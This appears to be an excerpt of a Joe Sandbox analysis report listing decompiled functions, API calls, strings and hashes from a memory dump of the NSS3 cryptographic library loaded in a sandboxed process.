*pulCount = 0x%x, xrefs: 6CC22BBB
pulCount = 0x%p, xrefs: 6CC22B54

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: DebugOutputPrintStringfflush$fwrite$R_snprintf$CriticalCurrentEnterExplodeFlushR_vsmprintfR_vsnprintfSectionThreadTimefputcfreememcpy
String ID: *pulCount = 0x%x$ pMechanismList = 0x%p$ pulCount = 0x%p$ slotID = 0x%x$C_GetMechanismList
API String ID: 1342304006-3652739913
Opcode ID: df2d1b0be1488240b81d9a5369f090b261bf9afa2819de62566583356339580f
Instruction ID: 3576ac26427430097655ab5b290b06d6c7f24b01555491ef5b4e03632eddc82f
Opcode Fuzzy Hash: df2d1b0be1488240b81d9a5369f090b261bf9afa2819de62566583356339580f
Instruction Fuzzy Hash: 0621A475B11141AFFB008F58EC8CE593779EB4636DF884066EA0597B21EB34A84CCBA1

Function 6CD00EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6CBE2357), ref: 6CD00EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6CBE2357), ref: 6CD00EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CD00EE6

Part of subcall function 6CD009D0: PR_Now.NSS3 ref: 6CD00A22
Part of subcall function 6CD009D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CD00A35
Part of subcall function 6CD009D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CD00A66
Part of subcall function 6CD009D0: PR_GetCurrentThread.NSS3 ref: 6CD00A70
Part of subcall function 6CD009D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CD00A9D
Part of subcall function 6CD009D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CD00AC8
Part of subcall function 6CD009D0: PR_vsmprintf.NSS3(?,?), ref: 6CD00AE8
Part of subcall function 6CD009D0: EnterCriticalSection.KERNEL32(?), ref: 6CD00B19
Part of subcall function 6CD009D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CD00B48
Part of subcall function 6CD009D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CD00C76
Part of subcall function 6CD009D0: PR_LogFlush.NSS3 ref: 6CD00C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CD00EFA

Part of subcall function 6CBEAEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CBEAF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD00F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD00F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD00F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD00F2B

Strings

Aborting, xrefs: 6CD00EB3
Assertion failure: %s, at %s:%d, xrefs: 6CD00ED9, 6CD00EE5, 6CD00F06, 6CD00F0B

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: 3c2fc61aa97b38338669871222f8afacbaa272c2226bba43773fe158a823e499
Instruction ID: 66758de433482c24379cc9961d303def42ad12488b11614619c72c4abc42e48c
Opcode Fuzzy Hash: 3c2fc61aa97b38338669871222f8afacbaa272c2226bba43773fe158a823e499
Instruction Fuzzy Hash: D4F03CB59001187BEA017F649C4AC9B3E2DDF86668F048424FF0956612DB76E9189AF2

Function 6CC64DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6CC64DCB

Part of subcall function 6CC50FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CBF87ED,00000800,6CBEEF74,00000000), ref: 6CC51000
Part of subcall function 6CC50FF0: PR_NewLock.NSS3(?,00000800,6CBEEF74,00000000), ref: 6CC51016
Part of subcall function 6CC50FF0: PL_InitArenaPool.NSS3(00000000,security,6CBF87ED,00000008,?,00000800,6CBEEF74,00000000), ref: 6CC5102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6CC64DE1

Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC510F3
Part of subcall function 6CC510C0: EnterCriticalSection.KERNEL32(?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5110C
Part of subcall function 6CC510C0: PL_ArenaAllocate.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51141
Part of subcall function 6CC510C0: PR_Unlock.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51182
Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6CC64DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CC64E59

Part of subcall function 6CC4FAB0: free.MOZGLUE(?,-00000001,?,?,6CBEF673,00000000,00000000), ref: 6CC4FAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CD2300C,00000000), ref: 6CC64EB8
SECOID_FindOID_Util.NSS3(?), ref: 6CC64EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6CC64F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CC6521A

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: 0baa4078258767296369f93493c25015f1caf332ef7b0f9ded70a1c894fd85a0
Instruction ID: 273e3ab373be062ee0ee4f2be7c2624b4eba8c2dd2208e9c67fda2932244bf11
Opcode Fuzzy Hash: 0baa4078258767296369f93493c25015f1caf332ef7b0f9ded70a1c894fd85a0
Instruction Fuzzy Hash: 0AF1CD71E00209CFDB04CF56D9907AEB7B2BF45318F258129E915ABB81E775E982CF90

Function 6CC60C60 Relevance: 16.7, APIs: 11, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6CC62C2A), ref: 6CC60C81

Part of subcall function 6CC4BE30: SECOID_FindOID_Util.NSS3(6CC0311B,00000000,?,6CC0311B,?), ref: 6CC4BE44

Part of subcall function 6CC38500: SECOID_GetAlgorithmTag_Util.NSS3(6CC395DC,00000000,00000000,00000000,?,6CC395DC,00000000,00000000,?,6CC17F4A,00000000,?,00000000,00000000), ref: 6CC38517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC60CC4

Part of subcall function 6CC4FAB0: free.MOZGLUE(?,-00000001,?,?,6CBEF673,00000000,00000000), ref: 6CC4FAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CC60CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6CC60D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6CC60D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6CC60D7D
free.MOZGLUE(00000000), ref: 6CC60DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC60DC1
free.MOZGLUE(00000000), ref: 6CC60DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC60E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CC60E0F

Part of subcall function 6CC395C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6CC17F4A,00000000,?,00000000,00000000), ref: 6CC395E0
Part of subcall function 6CC395C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6CC17F4A,00000000,?,00000000,00000000), ref: 6CC395F5
Part of subcall function 6CC395C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6CC39609
Part of subcall function 6CC395C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CC3961D
Part of subcall function 6CC395C0: PK11_GetInternalSlot.NSS3 ref: 6CC3970B
Part of subcall function 6CC395C0: PK11_FreeSymKey.NSS3(00000000), ref: 6CC39756
Part of subcall function 6CC395C0: PK11_GetIVLength.NSS3(?), ref: 6CC39767
Part of subcall function 6CC395C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6CC3977E
Part of subcall function 6CC395C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CC3978E

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID:
API String ID: 3136566230-0
Opcode ID: 2942ede62fb19abd8b7f3c726681655aeff54139bbcef8587098960fc89f20a3
Instruction ID: a36754139678410d8c1a5cb1631e4410ba92bf84ae4578bc4701d413cc12bcc6
Opcode Fuzzy Hash: 2942ede62fb19abd8b7f3c726681655aeff54139bbcef8587098960fc89f20a3
Instruction Fuzzy Hash: B241D5B1D00245ABEB009F66DD81BAF7A78EF0030CF104568E91967B41F735EA54CBE6

Function 6CBF4FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6CD40148,?,6CC06FEC), ref: 6CBF502A
PR_NewLock.NSS3(00000001,00000000,6CD40148,?,6CC06FEC), ref: 6CBF5034
PL_NewHashTable.NSS3(00000000,6CC4FE80,6CC4FD30,6CC9C350,00000000,00000000,00000001,00000000,6CD40148,?,6CC06FEC), ref: 6CBF5055
PL_NewHashTable.NSS3(00000000,6CC4FE80,6CC4FD30,6CC9C350,00000000,00000000,?,00000001,00000000,6CD40148,?,6CC06FEC), ref: 6CBF506D

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: 927e0f8b4f23c111a5ac68ba8204b3ebe3c588dfd4136ccc27e145ed970ee4e1
Instruction ID: 2682c79ee98863e4c067d77f63e42dd2ebee17ab5a6a899b361912e9f4f8cadf
Opcode Fuzzy Hash: 927e0f8b4f23c111a5ac68ba8204b3ebe3c588dfd4136ccc27e145ed970ee4e1
Instruction Fuzzy Hash: 5931D2B2A012509BFB109B65884CF4B3ABCEB1335DF858126EB2583740E774950DCBE6

Function 6CB92E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6CB92F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6CB92FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6CB93005
memcpy.VCRUNTIME140(?,?,?), ref: 6CB930EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CB93131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB93178

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB93022, 6CB93156, 6CB93162, 6CB9318A, 6CB93196, 6CB931A2, 6CB931AE, 6CB931BA, 6CB931C6
%s at line %d of [%.10s], xrefs: 6CB93171
database corruption, xrefs: 6CB9316C

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: 0177df92da4d51200e98cdd91ed470e6cec69bef634988a39c60482b04c2c9b4
Instruction ID: a7636172859db98e349f3586e2a32a19dea7857a3d6c95417d2838e20acaed5f
Opcode Fuzzy Hash: 0177df92da4d51200e98cdd91ed470e6cec69bef634988a39c60482b04c2c9b4
Instruction Fuzzy Hash: D2B1AE70E052699BDB08CF9DC884AEEB7B1FF4A304F144039E849B7B51D3759885CBA5

Function 6CC0FCA0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99stringmemoryCOMMON

Download Yara Rule

APIs

PK11_IsInternalKeySlot.NSS3(?,?,00000000,?), ref: 6CC0FCBD
strchr.VCRUNTIME140(?,0000003A,?,?,00000000,?), ref: 6CC0FCCC
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,00000000,?), ref: 6CC0FCEF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC0FD32
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6CC0FD46
PORT_Alloc_Util.NSS3(00000001), ref: 6CC0FD51
memcpy.VCRUNTIME140(00000000,00000000,-00000001), ref: 6CC0FD6D
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CC0FD84

Strings

:, xrefs: 6CC0FD78

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Alloc_Utilmemcpystrlen$ArenaInternalK11_Slotstrchr
String ID: :
API String ID: 183580322-336475711
Opcode ID: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction ID: de82b517c09f0eebc1d8864b6aad298dfde6d729761e461971d5c0e68873c87c
Opcode Fuzzy Hash: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction Fuzzy Hash: 6631CDB2E003159FEB018FA9DC057AFB7A8AF50618F150068DD54A7B10F772E958C7E6

Function 6CC26C40 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6CC26C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC26C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC26CA3

Part of subcall function 6CD0D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD0D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC26CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CC26CD5

Strings

pMechanism = 0x%p, xrefs: 6CC26CD0
(CK_INVALID_HANDLE), xrefs: 6CC26C9C
hSession = 0x%x, xrefs: 6CC26C7E, 6CC26C8E
C_DigestInit, xrefs: 6CC26C61

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit
API String ID: 1003633598-3690128261
Opcode ID: 9282545b940e56f436032c1e154b7921e3a4a4042fb96858be0234e8a64a4d5a
Instruction ID: f28ba855d9e4628909d06409f83d1bbecc1db80c60c3c0d4f7dc95064ed536be
Opcode Fuzzy Hash: 9282545b940e56f436032c1e154b7921e3a4a4042fb96858be0234e8a64a4d5a
Instruction Fuzzy Hash: 2D21D771B01544AFEB00AF59ED88F5B77B9EB4235DF844026E60997B51EB34980CC7E1

Function 6CBF0F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CBF0F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CBF0F84

Part of subcall function 6CC4B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CD218D0,?), ref: 6CC4B095

SEC_QuickDERDecodeItem_Util.NSS3(?,6CC0F59B,6CD1890C,?), ref: 6CBF0FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6CBF0FC1

Part of subcall function 6CC50BE0: malloc.MOZGLUE(6CC48D2D,?,00000000,?), ref: 6CC50BF8
Part of subcall function 6CC50BE0: TlsGetValue.KERNEL32(6CC48D2D,?,00000000,?), ref: 6CC50C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6CBF0FDB
PR_CallOnce.NSS3(6CD52AA4,6CC512D0), ref: 6CBF0FEF
PL_FreeArenaPool.NSS3(?), ref: 6CBF1001
PL_FinishArenaPool.NSS3(?), ref: 6CBF1009

Strings

security, xrefs: 6CBF0F5C

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: 4dd00facae5852f4cc29a28cdf9eccb1566eb1787d924d484a0f1cb853013cae
Instruction ID: 275b1d7f61d7f0a0bfdf223c7fcf1d8d78c4826264b6714b2817d36cce5fb71c
Opcode Fuzzy Hash: 4dd00facae5852f4cc29a28cdf9eccb1566eb1787d924d484a0f1cb853013cae
Instruction Fuzzy Hash: D32106B1904244ABEB109F34EC80AAEB7B8EF4425DF048518FC1896B11F731D52ACBD2

Function 6CD02AD0 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 46stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CD02AE8
strdup.MOZGLUE(00000000), ref: 6CD02AFA
PR_ExitMonitor.NSS3 ref: 6CD02B0B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(LD_LIBRARY_PATH), ref: 6CD02B1E
strdup.MOZGLUE(.;\lib), ref: 6CD02B32
PR_ExitMonitor.NSS3 ref: 6CD02B4A
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CD02B59

Strings

LD_LIBRARY_PATH, xrefs: 6CD02B19
.;\lib, xrefs: 6CD02B29, 6CD02B31

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Monitor$Exitstrdup$EnterErrorgetenv
String ID: .;\lib$LD_LIBRARY_PATH
API String ID: 2438426442-3838498337
Opcode ID: 2641e3a2d3a5e2649b533d2e91dadc26ba48f7ec72d11932e61ece6a80610f85
Instruction ID: d557708e31566c313f31d8fa99cce60b3a18cbd32a8e3db98c310dcdc11a837d
Opcode Fuzzy Hash: 2641e3a2d3a5e2649b533d2e91dadc26ba48f7ec72d11932e61ece6a80610f85
Instruction Fuzzy Hash: 6A01A7B5B0111197FE106FA9AC4AB5636BC5B1224CF490130DE0992B61FB35D82CC693

Function 6CBF6DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6CBF7D8F,6CBF7D8F,?,?), ref: 6CBF6DC8

Part of subcall function 6CC4FDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6CC4FE08
Part of subcall function 6CC4FDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6CC4FE1D
Part of subcall function 6CC4FDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6CC4FE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6CBF7D8F,?,?), ref: 6CBF6DD5

Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC510F3
Part of subcall function 6CC510C0: EnterCriticalSection.KERNEL32(?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5110C
Part of subcall function 6CC510C0: PL_ArenaAllocate.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51141
Part of subcall function 6CC510C0: PR_Unlock.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51182
Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CD18FA0,00000000,?,?,?,?,6CBF7D8F,?,?), ref: 6CBF6DF7

Part of subcall function 6CC4B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CD218D0,?), ref: 6CC4B095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CBF6E35

Part of subcall function 6CC4FDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6CC4FE29
Part of subcall function 6CC4FDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6CC4FE3D
Part of subcall function 6CC4FDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6CC4FE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CBF6E4C

Part of subcall function 6CC510C0: PL_ArenaAllocate.NSS3(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CD18FE0,00000000), ref: 6CBF6E82

Part of subcall function 6CBF6AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6CBFB21D,00000000,00000000,6CBFB219,?,6CBF6BFB,00000000,?,00000000,00000000,?,?,?,6CBFB21D), ref: 6CBF6B01
